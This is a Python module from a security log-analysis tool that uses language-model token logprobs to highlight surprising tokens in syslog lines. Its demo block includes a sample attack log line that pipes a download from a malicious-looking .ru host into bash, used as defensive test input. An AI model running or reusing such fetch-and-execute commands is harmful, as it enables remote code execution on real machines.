"""Token-level perplexity engine for TinySOC (the highlighter).

Scores how *surprising* each token of a log line is, given a normal-behavior
context. Two backends (selected by WEC_BACKEND):

  * "llamacpp" (default): a local GGUF returns prompt logprobs in a SINGLE pass
    (echo logprobs). Self-contained on CPU, the path the public HF Space uses.
  * "ollama" (dev only): a remote GPU server. ollama 0.x exposes top_logprobs
    (cap 20) but NOT prompt logprobs, so we score by forced decoding: feed the
    prefix, read the top-k next tokens, recover the actual token's logprob.

Important: perplexity only *highlights* novel tokens (a random domain, a base64
blob). It does NOT decide maliciousness (a code model finds a reverse shell
mundane). The baseline_engine decides; this paints. Timestamps/hosts are masked
before scoring so we measure the message content, not the clock.
"""
from __future__ import annotations

import math
import os
import re
from typing import Any

import requests

BACKEND = os.environ.get("WEC_BACKEND", "llamacpp").lower()
OLLAMA_URL = os.environ.get("WEC_OLLAMA_URL", "http://localhost:11434") + "/api/generate"
PPL_MODEL = os.environ.get("WEC_PPL_MODEL", "qwen2.5-coder:1.5b-base")
TOPK = 20          # ollama hard cap
FLOOR_NLL = 12.0   # surprise assigned when the real token is outside top-k
SURPRISE_NLL = 6.0 # threshold above which a token is flagged "surprising"

# Mask volatile structure so perplexity reflects content, not timestamp/host.
_TS = re.compile(r"^[A-Z][a-z]{2}\s+\d{1,2}\s+\d{2}:\d{2}:\d{2}\s+(\S+)\s+")


def normalize_line(line: str) -> str:
    """Replace leading 'Mon DD HH:MM:SS host' with stable placeholders."""
    return _TS.sub("<TS> <HOST> ", line.strip(), count=1)


def _next_topk(prefix: str) -> list[dict]:
    resp = requests.post(OLLAMA_URL, json={
        "model": PPL_MODEL, "prompt": prefix, "stream": False,
        "logprobs": True, "top_logprobs": TOPK,
        "options": {"temperature": 0, "num_predict": 1},
    }, timeout=120)
    logprobs = resp.json().get("logprobs") or []
    return logprobs[0].get("top_logprobs", []) if logprobs else []


def score_tokens(line: str, context: str = "", max_steps: int = 80) -> list[tuple[str, float]]:
    """Return [(token, nll)] for `line` given a normal-behavior `context`.

    Dispatches to the configured backend; both consume the same masked line and
    context so the highlighter behaves identically on the Space and in dev.
    """
    normalized = normalize_line(line)
    if BACKEND == "ollama":
        return _score_tokens_ollama(normalized, context, max_steps)
    from backend_llamacpp import prompt_token_nll

    return prompt_token_nll(context, normalized, max_steps)


def _score_tokens_ollama(remaining: str, context: str = "",
                         max_steps: int = 80) -> list[tuple[str, float]]:
    """Ollama forced-decode scorer (dev backend): walk top-k one token at a time."""
    tokens: list[tuple[str, float]] = []
    prefix = context
    steps = 0
    while remaining and steps < max_steps:
        best = None
        for cand in _next_topk(prefix):
            tok = cand["token"]
            if tok and remaining.startswith(tok):
                if best is None or len(tok) > len(best["token"]):
                    best = cand
        if best:
            tokens.append((best["token"], -best["logprob"]))
            prefix += best["token"]
            remaining = remaining[len(best["token"]):]
        else:
            space = remaining.find(" ", 1)
            chunk = remaining if space < 0 else remaining[:space]
            tokens.append((chunk, FLOOR_NLL))
            prefix += chunk
            remaining = remaining[len(chunk):]
        steps += 1
    return tokens


def perplexity(tokens: list[tuple[str, float]]) -> float:
    if not tokens:
        return 0.0
    mean_nll = sum(nll for _, nll in tokens) / len(tokens)
    return math.exp(mean_nll)


def analyze(line: str, context: str = "") -> dict[str, Any]:
    """Full perplexity analysis of one line: tokens, ppl, surprising spans."""
    tokens = score_tokens(line, context)
    surprising = [tok for tok, nll in tokens if nll >= SURPRISE_NLL]
    return {
        "tokens": tokens,
        "perplexity": round(perplexity(tokens), 2),
        "surprising_tokens": surprising,
    }


if __name__ == "__main__":
    ctx = (
        normalize_line("Jun  9 08:14:01 srv-web-01 sshd[2211]: Accepted publickey for deploy from 10.0.0.12 port 51020 ssh2") + "\n"
        + normalize_line("Jun  9 08:20:11 srv-web-01 CRON[3120]: (deploy) CMD (/usr/local/bin/backup.sh)") + "\n"
    )
    for label, line in {
        "NORMAL": "Jun  9 09:31:02 srv-web-01 sshd[2240]: Accepted publickey for deploy from 10.0.0.12 port 51044 ssh2",
        "ATTACK": "Jun  9 03:14:55 srv-web-01 bash[9913]: curl http://xn--malware-9z7d.ru/x.sh | bash",
    }.items():
        r = analyze(line, ctx)
        flags = " ".join(repr(t) for t in r["surprising_tokens"]) or "(none)"
        print(f"{label}: perplexity={r['perplexity']}  surprising={flags}")